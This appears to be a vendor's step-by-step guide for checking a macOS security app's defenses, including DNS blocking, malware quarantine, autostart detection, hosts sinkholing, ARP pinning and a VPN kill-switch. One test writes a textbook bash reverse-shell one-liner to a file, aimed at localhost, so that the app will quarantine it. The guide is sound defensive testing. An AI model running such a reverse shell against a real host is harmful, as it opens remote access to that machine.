git clone https://github.com/lafine1211/roamswitch-support
cd roamswitch-support/audit
./rs-defense-audit.sh all

Live penetration testing & multi-layer defense audit from a macOS VM: RESULTS-DEFENSE-2026-08-30

# Query Quad9's official test domain for verifying threat blocking
nslookup test.dns9.quad9.net
# → Should return ** server can't find test.dns9.quad9.net: NXDOMAIN, i.e. name resolution is blocked

# Create the harmless antivirus industry-standard test string (EICAR) in Downloads
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > ~/Downloads/eicar_test.com
# → FSEvents detection triggers an immediate ClamAV scan; no notification is shown, and "EICAR test signature detected (harmless)"
#   is recorded in notification history. Since EICAR is an industry-standard test file and not an actual threat,
#   it is neither quarantined nor blocked and the file is left in place (only a real malware sample is moved to the quarantine manager).

## A textbook reverse-shell one-liner from public offensive-security references (harmless, never executed)
echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' > ~/Downloads/rs_test.sh
## → Even without ClamAV installed, a "Dangerous download file quarantined" notification appears and it's
##   moved to the Quarantine folder immediately (doesn't depend on ClamAV's signature database)

# Create a harmless LaunchAgent that invokes a raw script interpreter directly (never actually run)
cat > ~/Library/LaunchAgents/com.example.selfcheck.plist <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.example.selfcheck</string>
  <key>ProgramArguments</key><array><string>/bin/bash</string><string>-c</string><string>echo hi</string></array>
</dict></plist>
EOF
# → Within a few seconds, a "New autostart registration detected" notification should appear. Remove it afterward:
rm ~/Library/LaunchAgents/com.example.selfcheck.plist

# Whether the managed section is present (2 BEGIN/END lines if Pro + default mode)
sudo grep -c 'RoamSwitch link guard' /etc/hosts

# The section's contents and sinkhole count
sudo sed -n '/BEGIN RoamSwitch link guard/,/END RoamSwitch link guard/p' /etc/hosts | head -4
sudo sed -n '/BEGIN RoamSwitch link guard/,/END RoamSwitch link guard/p' /etc/hosts | grep -c '^0\.0\.0\.0'

# Whether it's actually dropped (checked with one entry from the section; harmless)
D=$(sudo sed -n '/BEGIN RoamSwitch/,/END RoamSwitch/p' /etc/hosts | awk '/^0\.0\.0\.0/{print $2; exit}')
dscacheutil -q host -a name "$D"   # → ip_address: 0.0.0.0 (name resolution is blocked)

# Also confirm the section above disappears via Menu → "Link Protection" → "Off"

# Public feed and manifest (anyone can fetch and verify them)
curl -s https://lafine.net/updates/v1/manifest        # version/generated/threatfeed{...}
curl -sI https://lafine.net/updates/v1/manifest.sig   # → text/plain
# The only thing sent is a GET with no query string, cookies, or per-device identifier (standard User-Agent only). Verify with tcpdump running alongside.

# Connect to an untrusted network with preventive lock enabled → check for permanent entries
arp -an | grep -i permanent          # Gateway and other IPs are listed as (permanent)
ndp -an | grep -i 'P '               # IPv6 side (P = permanent)
sudo cat "/Library/Application Support/RoamSwitch/gateway_arp_lock.json"  # The set of currently pinned IP→MAC mappings
# Release the lock from the menu → the above should disappear

# Assumes wireguard-tools (via Homebrew)
brew list wireguard-tools >/dev/null && echo "wireguard-tools: OK"

# Enable VPN on an untrusted network → before the tunnel is up, pf is in kill-switch state
sudo pfctl -sr | grep -E 'block drop all|pass .*(utun|udp)'   # block drop all + a limited set of pass quick rules

# After the tunnel is up (wg-quick up already run)
wg show                              # handshake / transfer is active
route -n get default | grep interface  # → utunN (the default route is the tunnel)
# Disable the VPN → kill-switch is released and pf returns to its prior state

# The registered LaunchDaemon
sudo launchctl print system/com.tetsuharu.RoamSwitch.Helper

# The currently loaded pf rules (actual state of Air-Gap / port guard)
sudo pfctl -sr

# The helper's state directory
ls -la "/Library/Application Support/RoamSwitch/"

BIN=/Applications/RoamSwitch.app/Contents/MacOS/RoamSwitchMCPServer
printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}' \
              '{"jsonrpc":"2.0","id":2,"method":"tools/list"}' | "$BIN"
# Returns serverInfo and the tool definitions. No network connection occurs.

git clone https://github.com/lafine1211/roamswitch-mcp
cd roamswitch-mcp
swift build -c release        # The same source as the shipped binary
swift test                    # Unit, adversarial-input, stdio, and mutation fuzzing tests
# See SECURITY_TESTING.md for what's tested and any issues found

# The raw value bound to the token (only a salted SHA-256 is ever sent)
ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'